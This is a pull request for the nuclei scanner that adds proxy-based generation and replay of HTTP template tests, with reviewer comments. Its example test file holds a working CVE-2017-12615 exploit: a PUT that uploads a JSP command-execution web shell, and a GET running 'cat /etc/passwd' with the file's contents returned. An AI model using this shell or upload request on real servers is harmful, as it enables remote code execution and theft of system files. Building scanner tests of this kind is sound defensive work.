feat: added auto proxy based test generation for templates

[Ice3man543]

Proposed changes

Closes #4996

Added automated http protocol test generation by using a proxy (embedded proxify).
Added two new flags -

   -agt, -autogenerate-tests  enable autogeneration of nuclei test-cases (http only now)
   -rts, -run-tests           run generated nuclei test-cases

To generate a test case, use the below command -

./nuclei -id CVE-2017-12615 -agt -u http://localhost:8080                     11:17:57 PM

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.2.3

                projectdiscovery.io

[INF] Using 127.0.0.1:53932 as proxy server for automatic test-generation
[INF] Current nuclei version: v3.2.3 (latest)
[INF] Current nuclei-templates version: v9.8.1 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 77
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2017-12615] [http] [high] http://localhost:8080/poc.jsp?cmd=cat+%2Fetc%2Fpasswd
[INF] Writing test template=CVE-2017-12615 and target=http://localhost:8080 to CVE-2017-12615.yaml.nuclei_test

This writes a file in the same directory as template with .nuclei_test extension.

Example -

requests:
- request: |
    PUT /poc.jsp/ HTTP/1.1
    Host: redacted.nuclei-test.domain:8080
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 Firefox/99.0
    Content-Length: 575
    Accept: */*
    Accept-Encoding: gzip
    Accept-Language: en
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    
    <%@ page import="java.util.*,java.io.*"%>
    <%
    if (request.getParameter("cmd") != null) {
            out.println("Command: " + request.getParameter("cmd") + "<BR>");
            Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
            OutputStream os = p.getOutputStream();
            InputStream in = p.getInputStream();
            DataInputStream dis = new DataInputStream(in);
            String disr = dis.readLine();
            while ( disr != null ) {
                    out.println(disr);
                    disr = dis.readLine();
                    }
            }
    %>
  response: |+
    HTTP/1.1 204 
    Connection: close
    Content-Length: 0
    Date: Mon, 08 Apr 2024 17:48:34 GMT

  protocol: http
- request: |+
    GET /poc.jsp?cmd=cat+%2Fetc%2Fpasswd HTTP/1.1
    Host: redacted.nuclei-test.domain:8080
    User-Agent: Mozilla/5.0 (X11; CrOS aarch64 15236.9.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.1 Safari/537.36
    Accept: */*
    Accept-Encoding: gzip
    Accept-Language: en
    Connection: close

  response: |
    HTTP/1.1 200 
    Connection: close
    Content-Length: 999
    Content-Type: text/html;charset=ISO-8859-1
    Date: Mon, 08 Apr 2024 17:48:34 GMT
    Set-Cookie: JSESSIONID=C935B2CCECF9D4E339E5D4D14D271B76; Path=/; HttpOnly
    
    
    Command: cat /etc/passwd<BR>
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    _apt:x:100:65534::/nonexistent:/bin/false
    messagebus:x:101:101::/var/run/dbus:/bin/false
    
  protocol: http
template_id: CVE-2017-12615

This supports interactsh, multi-step requests etc as well. The mocking is done entirely locally.

To run the pre-generated test, run it as below

./nuclei -t  ~/nuclei-templates/http/cves/2017/CVE-2017-12615.yaml -rts       11:19:13 PM

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.2.3

                projectdiscovery.io

[INF] Current nuclei version: v3.2.3 (latest)
[INF] Current nuclei-templates version: v9.8.1 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 77
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Running nuclei-templates mock-generated tests
[INF] Loaded 1 test files for nuclei-templates
[CVE-2017-12615] [http] [high] http://127.0.0.1:54016/poc.jsp?cmd=cat+%2Fetc%2Fpasswd
[INF] All tests passed successfully

Checklist

• Pull request is created against the dev branch
• All checks passed (lint, unit/integration/regression tests etc.) with my changes
• I have added tests that prove my fix is effective or that my feature works
• I have added necessary documentation (if appropriate)

[dogancanbakir]

lgtm -left -optional- comments

[dogancanbakir]

We can rename it to something more descriptive, such as RunAutoGeneratedTests or RunTemplateTests

[dogancanbakir]

We can also check whether the given template is http or not.

[ehsandeep]

merge conflict

[dogancanbakir]

bump